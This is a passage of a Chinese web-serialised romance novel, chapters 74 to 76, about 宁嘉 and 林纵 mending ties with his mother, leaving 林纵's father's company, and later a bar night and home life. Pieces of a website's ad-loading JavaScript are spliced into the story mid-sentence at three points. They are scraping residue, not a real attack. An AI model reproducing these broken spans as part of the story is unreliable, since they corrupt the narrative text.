许诗瑶看着吴华,她其实真的幻想过他愿意认她当妈的样子,到头来只觉得陌生,甚至如今想到吴良仁也是,她好像从来没有真正认识过他。 “想要房子你就拿走吧,”胸口似乎堵塞了很久,这一刻,才有种通常的感觉,许诗瑶说,“想要房子还是想要钱你都去弄吧,我只有一个要求。” “什么?”吴华紧紧地抓住她的手,“您说什么我都答应你。” 许诗瑶轻轻笑了下,转过头,不再看着他,“以后不要再来找我了,我不想看到你,也不想看到你们吴家其他人。” 连犹豫都没有,吴华说:“好。” 74. 第 74 章 就这样,许诗瑶过上了,平静的没有吴良仁的生活,她表现的像是从来不曾认识吴良仁这个人,没有经历过他的死。 宁嘉让林纵先回家补觉,按照他的尿性就算现在不去公司,晚上也会远程办公做很多东西。 林纵需要休息。 “好,”林纵没有推脱,“你一个人在这吗?” 虽然有护工照顾,江软和闻凯还是陪了两个大夜,直到宁嘉回来才放心离开。 但宁嘉手还伤着,就算没有吴华再来,他还是不放心。 “没事的,”宁嘉把林纵往病房外推,不想许诗瑶看到,在走廊上抱了抱林纵,像在撒娇:“我就陪妈妈聊聊天,其他的事有护工,我什么都不会干的,你放心。” 宁嘉自己也感受出来了,他和林纵之间的状态确实是不一样了。 他不再揣测林纵喜不喜欢他,因为确信,也变得自信。 林纵走后,宁嘉回到房间,他其实也困得不行,但因为不用做什么,其实就还好。 许诗瑶把宁嘉叫到旁边,想说话想道歉,张了张嘴,又没了先前旁人在时的勇气。 宁嘉不太想和许诗瑶说这些,事情过去了就是过去了,再回头去指责谁的错,没有意义。 “妈,我和学长现在过得很好。” 许诗瑶点点头,眼泪湿了鬓角,无声地掉了很久的眼泪,忽然摸着两边胸口,有些悲伤地说:“我现在,这两边不一样了。” 宁嘉:“......妈,你说的太仔细了。” 许诗瑶破涕为笑,终于说:“嘉嘉,你原谅我吧。” 他们之间的母子轻轻一直都是这样,因为太随意了,于是许诗瑶也因为迷途时很随意地对待了宁嘉。 说不怨是不可能的,但宁嘉想了想:“我可能还得升一段时间的气。” 许诗瑶点点头:“好,妈妈多哄哄你。” 他们默契地没有再提吴良仁,彼此相视一笑,似乎又回到了父亲去世后,彼此相依为命的日子。 但显然如今的岁月与当年不同。 隔天下午,宁嘉还在陪许诗瑶吃午饭,闻凯突然来了,宁嘉一愣,见他身后也没有林纵,忽然就不明白了:“我学长呢?” 闻凯莫名其妙:“他有说要来?” 宁嘉:“他没来你来干吗?” 闻凯:“我看我干妈啊。” 这下给宁嘉搞不会了:“你认真的?” “我这模样像在跟你开玩笑?” “你图什么?” 闻凯:“图我有个妈啊。” 宁嘉忽然就懂了,他在闻凯身上看到了林纵的身影,渴望得到一些,他们得不到又不敢告诉别人他们想要的东西。 “行。” 宁嘉决定给闻凯让位,他昨晚就没回家,医院有人看着也不放心,非要待在许诗瑶旁边,其实能说的话不多,他们太久没有好好相处了。 所以宁嘉也一晚上没见林纵了,回去洗个澡,睡个觉,时间到了去公司找一下家属。 宁嘉如今的处境也相对尴尬,辞了职跑进林纵公司说要追人,班没上两天不是请假就是有事,这和辞职也没有两样。 宁嘉只区区上了那么几天班,区区点工资,还是不要也罢。 宁嘉替自己决定完了,闭上眼躺在林纵昨晚躺过的床上,很快就睡着了。 林纵当年在学生会待了一段时间,做事情雷厉风行,很果断不拖沓,昨天下午他回到公司,写完辞呈后开始补请假几天欠下的工作。 下班时,辞呈被发出,林平生今天上午才看到,他给林纵打了电话,林纵没有接,实在是无奈之举,只好叫了林少过来。 说不上不情愿,林少对林纵的感情有点复杂,感情上,他当然看不惯这个私生子,理智上却又明白,林家的产业太大,他就算有心也做不完全部的事情。 最重要的是,林少排外,他不喜欢林纵,但更不喜欢其他外人。 如果林少必须选,他希望留在公司里为林家效力的这个人姓林。 所以无论如何,林少这一趟想要留下林纵的行为是出自真心:“我爸说你要辞职。” 林少闯进办公室时动作粗鲁,吸引了好大一部分员工的注意,他瞪了回去:“看什么看,都没有工作?” 林纵要在走之前把所有的动作处理交接完,正是忙的时候,没空和林少寒暄。 “辞职,你想去哪里?”林少言辞挑衅,显然没把林纵的行为当真,“你那个破公司真的成长地起来吗?就凭你?” 从头到尾,林纵连一个眼神都没有给过他。 “林纵!”就是林纵的这个样子让林少觉得更加讨厌。 林纵终于看向他,手上动作不停,似乎只是在处理一件很不重要的插曲,“辞职是因为不想见到你们。” 林少:“你不想见到谁?” 林纵言语平淡:“你,和你爸。” 林少阴涔涔地笑起来,这么多年过去了,林纵终于露出他的真面目,这个狂妄自大的私生子:“林纵,你不装了?” 林纵想说的话已经说了,垂眼,继续处理工作。 “你真的很贱,”林少不打算和林纵好好说话了,总有些人给脸不要脸,“十六年前是你和你妈闯进我的生活,害得我家不是家,我妈也不肯回家。” 林夫人没有选择离婚,见过林俏俏后,她便从主宅里搬了出去,住到林家其他位置偏僻的院子里去,她不管林平生的死活,在听说林少对林纵的行为后,对她唯一的儿子也失望了。 宁嘉在这个时候暴力推门进来,身后也跟着一群看热闹的同事,个个眼睛瞪得像个铜铃。 他就离开林纵一会儿!午睡多睡了一会儿!进了公司就听见一群人在议论,说凶巴巴的林少来找林纵麻烦了。 宁嘉关上了门,表情凶狠,开麦: “你才贱,你最贱。你几岁?十几岁的时候欺负人还能说你幼稚,快三十岁的人了满嘴屎尿多,你不会觉得自己很有礼貌吧?” “仗着自己有钱人的身份,没有一件事是人能干出来的,行,我老公大人不记小人过,懒得和你计较,他现在要走了,什么事都是你说了算,你又有什么不满意的。” 林少看向宁嘉,意外又惊喜的眼神:“宁嘉,是你,好久不见,你的手怎么了?” 宁嘉:“......” 宁嘉立马躲到林纵身后,见鬼似的:“关你屁事,你什么毛病,别一副你和我很熟的样子。” 林纵捉着宁嘉受伤的手:“怎么突然过来了。” 宁嘉甜甜地笑起来:“闻凯来找我妈了,我就来找你了。” “好久没见你了,”两人的互动十分刺眼,林少突然变得深情起来,“上次在家里发生了什么,那天晚上我爸叫我回去,告诉我不可以再去见你,我不同意,但我第一次见到我爸那么严肃的样子。” 林少说着竟然想要接近宁嘉,宁嘉被林纵挡的严严实实的。 宁嘉一脸被恶心透了的表情:“滚远一点啊,我有老公的。” 林少:“那又怎么样。” 宁嘉:“......” “那又怎么样?”宁嘉炸了,“你们家的优良传统是吧,就喜欢那些不是你的东西,强迫最有意思?你贱你贱,你最贱。” 宁嘉怒气冲冲:“学长我要说了。” 林纵只担心宁嘉火力太过旺盛伤到自己,护着他的手,淡淡道:“说吧。” 这一点上,林纵和宁嘉是一样的看法,并不认同受害者有罪论,不愿意说林俏俏的事情只觉得这些事没什么必要说,也没有一定要倾诉的对象,但林纵也不介意说。 宁嘉大骂:“你爸就是个强.奸犯!” 林少当即色变:“你说什么。” “你听懂了,”宁嘉懒得和他多费口舌,“你和他一样,喜欢惦记不属于自己的东西,狂妄自大,真的很让人恶心。” 林少:“......” “你回去告诉他,我和学长要 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 去摆路边摊卖鸡蛋汉堡,想吃的话你们也可以过来,反正我不卖给你!” 不知道宁嘉明不明白,要不是林纵阴差阳错顶了林少的位置,宁嘉就会成为第二个林俏俏。 如果有时光机的话,林纵最想要的,不是回到十六年前见妈妈一面,而是回到二十五年前,阻止这一切发生,哪怕这个世界从此没有他也愿意。 可这个世界上没有时光机,林纵也过了天真的年纪,庆幸的是他遇到了宁嘉,遗憾无法弥补,让林纵让这个世界上少了些遗憾。 还好。 林少一走,宁嘉就往林纵脖子上挂,非要爬他身上,林纵无奈了,把他背到背上:“怎么了?” 宁嘉打了个哈欠:“想睡觉。” 林纵拍了拍他:“去睡觉。” 宁嘉指着休息室:“你背我去。” 林纵把人背过去。 宁嘉倒在床上依依不舍:“你睡过了?” 林纵说:“刚睡醒。” 宁嘉遗憾:“好吧,那我睡了,有事你喊我。” 能有什么事,最大的事就是林平生不死心又亲自来一趟,林纵问:“喊你起来打架?” 宁嘉蹬腿:“分分钟的事。” 林纵开了空调,替宁嘉盖好被子:“知道了大侠,你先睡吧。” “学长,你还会开玩笑哦。” “你很厉害,”林纵说,“每次都会帮我吵架,保护我,当然是大侠了。” “好了好了,别再说了。”宁嘉翻过身,把脸包起来,“你快去上班吧。” 宁嘉在休息室里睡了一下午,下班时被林纵叫醒还不想动,赖赖唧唧地:“你背我。” 林纵说:“你起来就背。” 宁嘉起来了,又不好意思让林纵背:“我自己走就好了,被人看见不太好。” 然而哪有什么看见不看见,吴良仁出事宁嘉是和林纵一起走的,他当时恍惚,甚至不知道全程被林纵牵着走,关于宁嘉的身份,公司里早有猜测。 下班的时间点过了,公司里走了大部分人,还有小部分在收拾东西和加班,宁嘉就这么被林纵背出来,挂在他身上,压皱他的衬衫。 到这个时候,才有同事忽然反应过来:“我好像很早之前就见过宁嘉。” 另一个人说:“你做梦呢?” 那人正经道:“不是做梦,真的见过,不止一次,林总带着人回来你们还记得不,好像就是宁嘉。” 员工们好奇心重,但也适可而止,没有看得那么仔细,但身形还是有一些印象,最开始都以为宁嘉是和陈遇熟,现在才明白过来,他是和林纵熟。 只不过都是这关系了,那么宁嘉是...... 胆子大的吹起了口哨,宁嘉回头看到有人在拍照,顺便比了个耶。 宁嘉还是不放心,生怕林平生过来找林纵麻烦,林平生对林纵向来是不管也不放,宁嘉闲暇时和林纵讨论:“学长,林平生到底是什么想法?” 林纵回答:“他只有我和林少两个儿子。” 宁嘉忽然懂了:“他就是不要脸,在意就好好对你嘛,贱嗖嗖地,把你当做出门要带的公文包,不是每次都要,但想要的时候,你又必须要在。” 这竟然是很生动地比喻,林纵笑了笑。 林纵在递辞呈前已经整理了大部分要交接的文件,要离开的心思起的很早,有一段时间了,每天上班的内容也会根据这个有所调整。 为了防止林平生找事,宁嘉跟着林纵去上班,林纵工作他就在一旁的沙发上打游戏,带着一只耳机,因为和路人组队,也没什么声音。 林平生进来的时候宁嘉立马转过头,呈戒备状态,林平生疑惑:“这么看着我干什么?” 宁嘉学着林纵的语气,淡淡道:“林叔叔,如果你不倚老卖老的话,我尽量不要以下犯上。” 林平生胡子一抖:“你想干吗?” 宁嘉气焰嚣张:“打你!” 林平生:“......” 75. 第 75 章 林纵轻笑了一声,笑声弄得林平生一时无措:“你又笑什么?” 林纵没搭理他。 宁嘉替林纵开口:“你找我学长有什么事?” 小孩子忒没礼貌,林平生气得嘴巴都歪了:“我找我儿子能有什么事。” 宁嘉老母鸡护崽似的把林纵护在身后,让都不让:“你现在知道他是你儿子了啊?” 林平生看向林纵,察觉他没有想开口的意思后,理所应当的语气:“我养他这么多年,怎么没把他当儿子?” 宁嘉说:“你没养。” 林平生说:“你当他是怎么长这么大的?” 宁嘉:“你花了钱。” 林平生:“没错,我花了钱。” 宁嘉等得就是这句话:“林叔叔,你那么有钱,最不缺的就是钱,随便便便拿出几十万做个慈善就能养活一个人,凭什么为我我学长花了两个臭钱,还得在你家受这么多年委屈?” 林平生冷下脸:“我劝你这小孩说话好听一点。” 宁嘉翻了个白眼:“好听就是我学长要辞职,不想和你们这种坏事做尽还冠冕堂皇的人打交道。” 林平生喝道:“我不许!” 他当然知道林纵这一走代表什么,他怎么会同意。 林平生对林纵并非没有感情,相反因为林俏俏的原因实际上他很愿意多爱林纵一点。 只是林平生很忙,没空在林纵身上花很多情绪,林少对于林纵的小打小闹并不重要,林平生不明白,林纵到底在计较什么。 “我要走,”林纵终于说,“你不用拦我。” “我怎么能不拦你!你是我儿子,我们家的家产都是你和林少的,你们都是我的孩子,为什么要离开?我对你不够好吗?” 林纵不太想和林平生谈论这些,他说不过,只觉得烦:“这几年我为公司赚了不少钱,你养到我今天的钱,送我的房子,加起来也可以抵个七七八八,我现在走,我们之间算得上两清。” 林平生刚想说话,林纵又说:“如果你觉得不够,我现在住的房子也可以还给你,只要你拿得下手。” 林平生:“......” 林平生走后,宁嘉笑得在沙发上打滚:“学长,我没想到你可以说出这么无赖的话。” 林纵上班累了,坐到宁嘉身边,捉着他乱动的手:“你慢点笑。” 宁嘉笑得肚子疼:“老头子的表情太好笑了,他很惊讶,你说出那样的话。” 林纵心里却十分明白:“他欠我的,房子真要拿走,我也没有办法,但是都要走了,我总得为自己争取点以后的生活费,”笑说,“万一公司真的倒闭了。” 宁嘉倒是不信这个,林纵这么厉害,一定是做什么都会成功的。 这天下班,林纵陪着宁嘉一起去了医院,许诗瑶还在住院,闻凯正准备回家收拾收拾晚点再过来。 “你们这么有话聊啊。”宁嘉打趣。 闻凯一扬下巴,大有私生子翻身把歌唱的架势:“干妈不是把房子还给吴华了吗,那缺心眼在找人看房了,我和干妈商量把行李搬到我家去,到时候和我一起去。” 宁嘉倒是没和许诗瑶谈论过这个,说句难听的,他现在也算是寄人篱下,虽然和林纵结了婚的,两个人之间也好的不得了,但宁嘉总觉得他和林纵之间还隔了张透明塑料薄膜,没戳破,他们就还不是完整的属于彼此。 林纵说:“和我们一起住吧,妈。” 闻凯挑了挑眉,似乎不意外林纵会这么说。 许诗瑶一瞬间掉下眼泪:“小纵,你、你叫我什么。” 林纵没说话,许诗瑶兀自感动着:“我还以为你这辈子都不会认我这个妈妈的。” 林纵是个很温柔的人,这是宁嘉对他的固有印象,哪怕后面发生了许多事,宁嘉在其他人身上,认识了不一样了林纵,他还是觉得,学长就是学长,好得不能再好的学长。 此时此刻,这样的学长对宁嘉的妈妈说:“您先前的行为配不上当宁嘉的妈妈,宁嘉要认您,因为你们之前母子血缘永远不可替代,但我可以不认。” 被小辈用这样的话训斥,许诗瑶没有觉得不堪:“那现在呢?” 林纵只说:“宁嘉很爱您。” 许诗瑶懂了,红着眼睛点了点头,看向宁嘉,宁嘉幸福得笑起来,觉得这一切真是太好了,有一种“虽然过程很糟,但是结果苦尽甘来”的感觉。 许诗瑶出院后搬去了别墅,和宁嘉还有林纵住在一起。 说来惭愧,这么长时间了,她还是第一次见到富贵,当即喜欢得不行,抱在怀里:“小富贵,我是奶奶呀。” 宁嘉就站在门口,也不着急进来,一只胳膊还挂在脖子上,另一只插兜,很嚣张的样子:“妈,按照我现在和学长的关系,我应该只能当你女儿,所以真要说起来,你应该是富贵的外婆。” 许诗瑶才刚出院,身体各方面素质还不是特别好,被宁嘉这话说的立马想掐人中,宁嘉阻止道:“认命吧,许女士,当初你就是这么对我的。” 许诗瑶叹了口气,把富贵都愁跑了:“嘉嘉,你还是不肯原谅我啊。” “当然啊,”宁嘉说,“我也要气好长一段时间呢,你还是好好哄我吧。” 事实上还不等许诗瑶哄宁嘉,她就被闻凯接走了,闻凯一直是一个人住,家里连保姆都没有,房子大而空荡,心也空荡荡的:“干妈,你还是和我住的,别打扰他们小两口二人世界了。” 许诗瑶喝着闻凯给她倒的水,不是很理解:“家里也有保姆在呢,不算只住了他们两个人吧。” 闻凯:“.......” 许诗瑶说完又有些着急,生怕自己影响了宁嘉和林纵的感情:“嘉嘉和小纵......他们还好吗?” 闻凯一看就知道许诗瑶想差了,忙说:“好啊,他们很好的。林纵前段时间辞职了,现在出来单干,宁嘉在给他当助理呢。” 说起来林纵和林家的关系好像是有些复杂,许诗瑶一直不清楚,欲言又止,想问又不知道怎么开口:“小纵家里......” 闻凯摆了摆手:“一笔烂账,您别在意了,只要知道他们现在很好就行了。” 许诗瑶于是放心下来。 林纵的新公司实在是小,办公室也小,还没有秘书室,新秘书宁嘉和新总裁林纵两人通用一间办公室。 办公室里没有休息的地方,只有两张办公桌和一张长沙发,宁嘉中午犯困,只能躺在沙发上睡觉,枕着林纵的腿,给江软发消息:我觉得我的腰要断了。 江软今天翘班,正舒舒服服躺在床上:为什么呢? 宁嘉:学长的新公司太小,我和他只能躺在一张沙发上。 江软:夫夫间的情趣不要这么细致地告诉我,谢谢[微笑][微笑] 宁嘉:学长坐着,我躺他腿上。 江软:只是躺腿上这么简单吗? 宁嘉:? 江软:你转头试试呢。 转头,宁嘉:“......” 林纵快要睡着了,突然感受到腿上的动静,低头,不知道宁嘉为什么用这样的姿势对着他。 西装裤渐渐变得饱满,宁嘉赶紧坐起来:“别别别,你别冲动,这里是办公室。” 林纵没办法控制自己不冲动,轻描淡写地给宁嘉打商量:“我可以以后再冲动。” 宁嘉:“......” 晚上下班,闻凯提出要去酒吧聚聚。 他们有个四人的群,林纵变得合群了一点,江软和闻凯因为许诗瑶的关系暂时休战。 江软:你那个破酒吧?有什么好去的。 闻凯:你不想来可以不来。 宁嘉上班不专心,秒回:我和我学长去,他天天上班,快成工作狂了。 闻凯:你体谅一下,毕竟是个穷人了,他要赚很多钱才能安心,毕竟要养你呢。 宁嘉支着下巴,仰头悠闲地看看林纵,再低头:养我不用花很多钱的。 闻凯:林纵不会这么想的。 江软不知道怎么回事,竟然也回:确实。 好吧,宁嘉想了想:那晚上还是要去酒吧,我们两个报名。 闻凯:我也去的,很久没见陈楚了。 江软:陈楚是谁? 宁嘉:酒吧店长。 江软忽然间悟了什么:那我也要去,我要带傅川去。 闻凯:傅川是谁? 宁嘉什么都知道:江软他未来对象。 江软:“......”倒也没毛病。 林纵忙昏了天,下班前才得到宁嘉的消息要去酒吧,真有点麻烦,这里没有休息室,换个衣服还得回家。 宁秘书已经学会开车了,两人提前二十分钟下班,路上也不堵,回来洗了澡,两人才又出门,这一回是林纵开车。 宁嘉倒在副驾驶上十分享受:“还是有司机好啊。” 林纵说:“我给你当司机。” 明知道林纵不是那个意思,宁嘉偏不配合:“是啊是啊。” 林纵穿着宽松的牛仔裤和短T,手上还带了串宁嘉不知道从哪里掏出来的金属项链,在这方面林纵很纵容宁嘉,像个合格的洋娃娃,随便宁嘉打扮。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >傅川和江软也来了,江软要接人,傅川不让,说自己顺路在边上,江软于是也享受,反正坐的是傅川的副驾驶。 这个样子的林纵江软还是第一次见,四个人在门口碰上,江软朝着林纵吹口哨:“帅啊,我的哥,”偏头看见傅川的脸色,连忙改口,“我的学长。” 江软越描越黑,朝宁嘉使眼色,宁嘉忙说:“这我老公啊,别误会。” 林纵疑惑,宁嘉解释:“这江软男朋友。” 江软脸都绿了,傅川却不为所动,仿佛没听见。 真不知道江软喜欢傅川什么,洗手间里,宁嘉合理提出疑问,江软直白道:“帅,帅得一批。” 宁嘉:“没学长帅。” 江软没和他反驳:“他们俩不是一个类型,我就喜欢傅川脸上那种全世界欠了他几百个亿的表情。” 宁嘉:“......你们有钱人的比喻方式好奇特。” 一个个成双结对的,闻凯心里苦,非要拉陈楚喝酒,陈楚脾气不好,只觉得闻凯烦:“滚,别烦我,我要收银。” 闻凯拉着陈楚不放:“怎么和你老板说话的。” 陈楚:“那你开了我。” 闻凯拿陈楚没办法,只能退而求其次:“那我们坐楼下,稍微看着点就行,你让别人给你弄,不行你再去。” 闻凯可怜得要死,难以想象今天晚上没有陈楚,他该怎么办。 陈楚被迫坐在闻凯身边,不讲话,傅川除了喝酒也不讲话,宁嘉不介意林纵抽烟,于是林纵嘴上叼着烟没空讲话,剩下三人大眼瞪小眼,看来看去,看来看去。 忽然,宁嘉眼尾一瞥,看到了角落里的架子鼓:“小凯,那个鼓怎么没见人用过。” 闻凯:“你叫谁小凯?” 宁嘉说:“我是你嫂子,你又是我妈新收的儿子,我叫你小凯,合情合理。” 闻凯好像被说服了:“那玩意是林纵家里搬过来的,一年也敲不上两回,上一次敲还是因为碰上你,太兴奋了,不敲敲容易笑场,这人好像不让自己太高兴。” 宁嘉奇异地理解了林纵心中所想,一直以来林纵就从来不追求这些,活着对他而言只是一种生活状态。 宁嘉碰碰林纵的肩:“学长,你敲一个呗。” 林纵烟灰掉到了闻凯身上。 闻凯:“?” 闻凯怂恿陈楚也上:“陈老板会吉他,和你老公来个合奏啊。” 江软突然反应很慢很慢地想到一件事情:“陈楚好像是我专业的学长,我见过他在文艺汇演上弹吉他。” 闻凯:“?” 陈楚:“你才知道?” 闻凯:“???” 陈楚说上就上,拿上吉他回头看向林纵,扬眉示意,等到林纵站起身,陈楚才淡淡道:“这首歌叫迫降。” 这是一首抒情的慢节奏歌曲,镁光灯打在林纵脸上,陈楚在唱:“盛夏、晚风,亲爱的你——” 歌曲过半,江软也跑了上去,他什么都不会,也唱不来,站在主场的位置上挥舞着手臂:“哇哦,哇哦,大家一起来。” 宁嘉被怕他被陈楚赶下去。 林纵在这一晚喝了很多的酒,他没有表现出快乐,宁嘉却觉得他快乐。 酒吧里换了驻唱,女歌手声音温柔:“你说最好的人会到身边,此刻我也这样想。” 闻凯缠着陈楚不放,江软倒在傅川肩上,宁嘉凑在林纵身边,轻声问:“学长,我问你个问题。” “什么?”从林纵说话的语气判断,他似乎还很清醒。 宁嘉想问的问题不止一个,于是他想了想,换了个思路,问:“你什么时候开始喜欢我的?” 灯下,林纵眼波流转:“你亲我一下我就告诉你。” 宁嘉亲向林纵的脸,林纵却转头,吻到了宁嘉的唇,宁嘉尝到了酒的味道,和他喝过的果汁融合在一起。 听见林纵说:“第一次见你的时候。” 林纵永远不能否认的是,他是林平生的儿子,他和林平生还有林少一样,拥有对心爱之人一见钟情的能力。 唯一不同的是,从一开始林纵就在克制,他不想和他们一样,因为很想要很想要得到一个人,而选择那样极端的方式。 于是林纵忍过一回,又忍过第二回,最后一次宁嘉主动走到了他的面前,林纵知道,宁嘉再也走不了了。 歌声还在继续:“总会有一天,你出现我身边。” 宁嘉若无旁人地抱住林纵,他问:“你很爱我是不是?” “嗯,我爱你。” “很爱你。” “宁嘉。” 76. 第 76 章 周六早上,宁嘉难得醒得比林纵早,起来上了个厕所,回来被还熟睡的林纵抓进怀里当抱枕的时候,突然睡不着了。 这段时间跟着林纵上班,给林总当助理,上班强度大了很多,闲暇时间少了,休息变得宝贵。 但宁嘉竟然失眠了,在这个美好的清晨。 宁嘉被林纵抱着,小心挪了挪位置,像在荒野求生,伸长了手,艰难拿到床头柜上的手机。 有昨晚夜里发来的消息,来自许诗瑶、江软还有前同事的。 是先前约宁嘉一起过生日,结果被宁嘉回绝的那个,说来也是凑巧,那么多个周末,宁嘉一直没有闲暇的时候,何况与其说是同事邀请宁嘉参加生日宴,不如说是她想邀请传闻中的男主角参加八卦大会。 宁嘉拒绝,也是情有可原。 那之后同事又约了宁嘉一次,在国庆,那是国庆的最后一天。 好巧不巧,那天宁嘉真的有事,提前和许诗瑶他们约好了,在家院子里弄了个野餐,连水池里的王八都差点参与在内。 这是第三回了,再拒绝好像不太好,但宁嘉确实不是很想去,虽然明天确实有空。 这通消息就被放在一旁,暂时没有回。 就目前的情况来看,江软还没有把傅川弄到手,所以他夜生活仍然丰富,半夜三更给宁嘉发消息,刷到好看的视频随手就是一个转发,附带:哈哈哈哈,笑死。 宁嘉看一条回一条,由于视频太好笑,他笑得直抖,成功把林纵抖醒了。 林纵抓了抓宁嘉的腰,摸着他单薄的没有赘肉的腹部:“怎么醒这么早?” 宁嘉回头把林纵抱住,搂着他的脖子,深吸一口气,香香的:“刚才上了个厕所,回来睡不着了。” 林纵抱紧宁嘉,显然是还困,嗓音带着沙哑,非常的性感:“几点了。” 宁嘉说:“八点不到。” 林纵问:“在干什么?” “看视频,”宁嘉说给林纵听,“我前同事,不对,是前前同事,在岩市的是前前前同事。” 林纵本来是没醒的,为了理解宁嘉的话,不得不清醒过来:“我知道,你说和你关系很好那个。” “哪有,”宁嘉纳闷地笑了声,“我什么时候说过和她关系不错。” 林纵的语气听着一点都不酸溜溜:“多点的奶茶分她喝,多点的外卖也分她吃,只有一份的时候给会分菜给他吃。” 宁嘉闷在林纵怀里痴痴地笑出声,比先前看视频还抖得厉害:“林总每天日理万机,还记这些事情的吗?” 林纵淡淡道:“刚好没有忘记。” 宁嘉决定先不和林纵解释,问:“我们几点起床啊?” “饿了?”林纵问。 “一般般饿,”因为不再怀疑林纵的喜欢,宁嘉和他说话时便会不自觉带上依赖,是很安心的语调,“我们今天去哪里玩?” 林纵每个周末都会带宁嘉出去玩,这其实是宁嘉规定的事情,因为林纵的生活太无趣了,宁嘉想让他的生活变得丰富多彩起来。 有时候坐高铁,有时候坐飞机,在五天忙碌的上班日后,他们拥有两天只属于彼此的周末,在陌生的城市不断感受生活的新鲜。 这周末宁嘉有些累了,虽然年轻但干不动了,因为新鲜的地方对林纵来说干劲十足,林纵不止会吃很多东西,他还会吃宁嘉。 宁嘉感觉肾虚,肾非常虚。 于是昨天林总把宁助理叫过来,私事公办,语气还挺严肃:“明天想去哪里玩?” 宁嘉捂捂屁股:“过两天。” 林纵:“?” 宁嘉十分正经:“我觉得我需要休息,你也需要休息。” 林纵:“??” 学长就很笨,宁嘉放弃了,小心在他耳边说:“我有点肾虚,别玩啦。” 林纵理解过来,善解人意地从上到下打量宁嘉:“不出去了?” 宁嘉点头:“嗯嗯。” 林纵问:“在家休息两天,不折腾你?” 宁嘉耳朵微红:“嗯嗯!” 林纵说:“给你做点吃的,补一补。” 如果宁嘉在喝水,这会儿已经喷了,愤愤离去:“嗯嗯!!” 回忆至此,林纵问:“你不是要在家躺着吗?” 宁嘉挪了挪,又往外挪了挪,委婉又不失礼貌地说:“我是想躺一躺的,前提是,我躺在这张床上得安全啊。” 大家都是男人,大清早的,还都算是精神,宁嘉却觉得林纵比他精神了不止一点点,这不是什么好事。 林纵还是那张性冷淡的脸,平静道:“说了不碰你,就是不碰你。” “是吧......”宁嘉讪笑。 林纵把宁嘉的手拉过来:“你碰我就是了。” 宁嘉:“......” 宁嘉私底下和江软讨论来着,为什么有些人表面上看着一本正经,背地里完全不当人。 宁嘉自认为还行,他自己就是个正常男性,该有的下半身冲动一直都有,因为看到喜欢的人,也会有想要靠近和拥抱他的想法。 但是吧,宁嘉说:“不是一个星期两三次就可以了吗。” 江软摸摸脑袋,很疑惑:“你和一个没有过性生活的人说这个是不是太过分了。” 宁嘉比他还疑惑,一脸莫名其妙又理所应当:“不和你说,能和谁说?” “也是,”这话听的江软很满意,然后开始想象,“要我觉得,一个星期两三次也差不多的。” 想了想,又好奇地问:“所以你们家看起来像的禁欲系学长,一个星期几次啊。” 宁嘉:“......这话问的,我多不好意思啊。” 江软看神经病似的:“所以你说不说。” 宁嘉:“一个星期两三天吧。” 江软很懂的样子:“那还好啊。” 宁嘉就知道他没听明白:“两三天里的每天两三次。” 但林纵的两三次又不是宁嘉的两三次,作为一个曾经的直男,如今因为极其享受的弯男,宁嘉在那些事情上不是一般的肾虚。 江软:“......哦哦哦,”又,“噢噢噢!” 宁嘉好像很尴尬,又隐隐带着点骄傲,像是在说:没错,我男人就是这么强。 江软:“......” 等到宁嘉和林纵从床上起来并且洗完澡,时间也已经不早了,同事已经起床了,顺便发了条消息给宁嘉,强调:这是第三次了,你不可以拒绝我的!! 好嘛,这种事情,一直不去也太不给人家女生面子了,去就去呗,宁嘉想,但是林纵就没必要去了,又不是喜欢这些场合的人。 休息日里,林纵给宁嘉做饭成了一种必然,林纵很享受这样的过程,短暂地抛开永远做不完的早就成为生活一部分的工作,和宁嘉相处在两人独立的空间里,他给宁嘉做饭吃,而宁嘉在旁边陪他。 “今天早上吃什么?”宁嘉亦步亦趋地跟在林纵身后。 林纵走得快了一点,闻言停步等着宁嘉同行:“你有什么想吃的吗?” 宁嘉双眼发光:“真让我报菜名,我可就不困了啊。” 林纵有时候真对这小子很无奈:“那我随便做了。” 宁嘉十分狗腿地笑:“好的好的。” 林纵对宁嘉从来都没有要求,宁嘉什么都不用做,吃完饭也不用洗碗,他只是坐在那里,吃完林纵做的饭,林纵就已经很满足了。 林纵做了碗汤面,宁嘉把汤都喝干净了,碗轻放在桌上,满足地喟叹一声:“太好吃了。” 自从最开始的那件事以后,宁嘉就爱上了汤面,他对面条的热爱没有因为和林纵的圆满结局而减弱,许诗瑶也想开了,宁嘉再也不会被抛弃拿去做不平等的交换了,但宁嘉还是很爱吃汤面。 对宁嘉而言,吃这碗面不会让他再想起过去不愉快的事情,只是觉得林纵的厨艺真的非常非常好。 林纵吃饭很斯文,这个状 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 态从他们俩重逢后一直如此,在宁嘉眼里,林纵就是表里如一非常完美的学长。 学长怎么样都好,学长简直非常好。 “学长,”宁嘉眨巴眨巴眼,决定和他学长汇报一下,“我刚才好像说了一半。” 林纵问:“什么?” 宁嘉说:“我前前同事约我明天出去玩呢,你肯定不去的吧?” 不知道为什么,宁嘉觉得林纵看向他的那一眼有点让人慎得慌,可仔细瞧着,林纵还是那张波澜不惊,天塌下来都不为所动的脸。 “你和她两个人一起玩?” 宁嘉筷子戳戳头发:“怎么可能,她就是找个理由想玩,我都好羡慕她的,不用存什么钱,赚多少花多少。” “你也可以不用存钱。” 林纵的话里并没有深意,宁嘉点头表示认同,却还是说:“我忍不住,我没那样的习惯,赚钱和花钱一样多,我学不会。” 宁嘉节省惯了,因为得到的不多,所以总想攒着要。 过去他的家境并不算好,因为宁父嗜赌,家里更是没有过过什么奢侈的生活,等到许诗瑶离开后,宁嘉也没有想过要对自己好一点。 生活方式在过去十几年里已经成型,宁嘉是想改的,可他学不来,花很多钱只会让他没有安全感。 林纵上交了银行卡,卡里余额很多,那么多的零甚至让他感到不真实,宁嘉不常花钱,出门基本是和林纵一起,该花钱的时候还是林纵付的钱。 “你可以对自己好一点。”林纵对宁嘉说。 宁嘉看向林纵:“学长,你对我已经很好了。” “太贪心不好的,”宁嘉小心翼翼的语气,“我没有惯了,一下子得到很多,会觉得在做梦。” 其实宁嘉从来没和林纵说过感情,至今为止,他们俩之间只有上回在酒吧那一次,林纵说过“爱”。 宁嘉没有很老土地说我也爱你,他只是笑起来,像许诗瑶一样,很甜蜜地收下了林纵的爱。 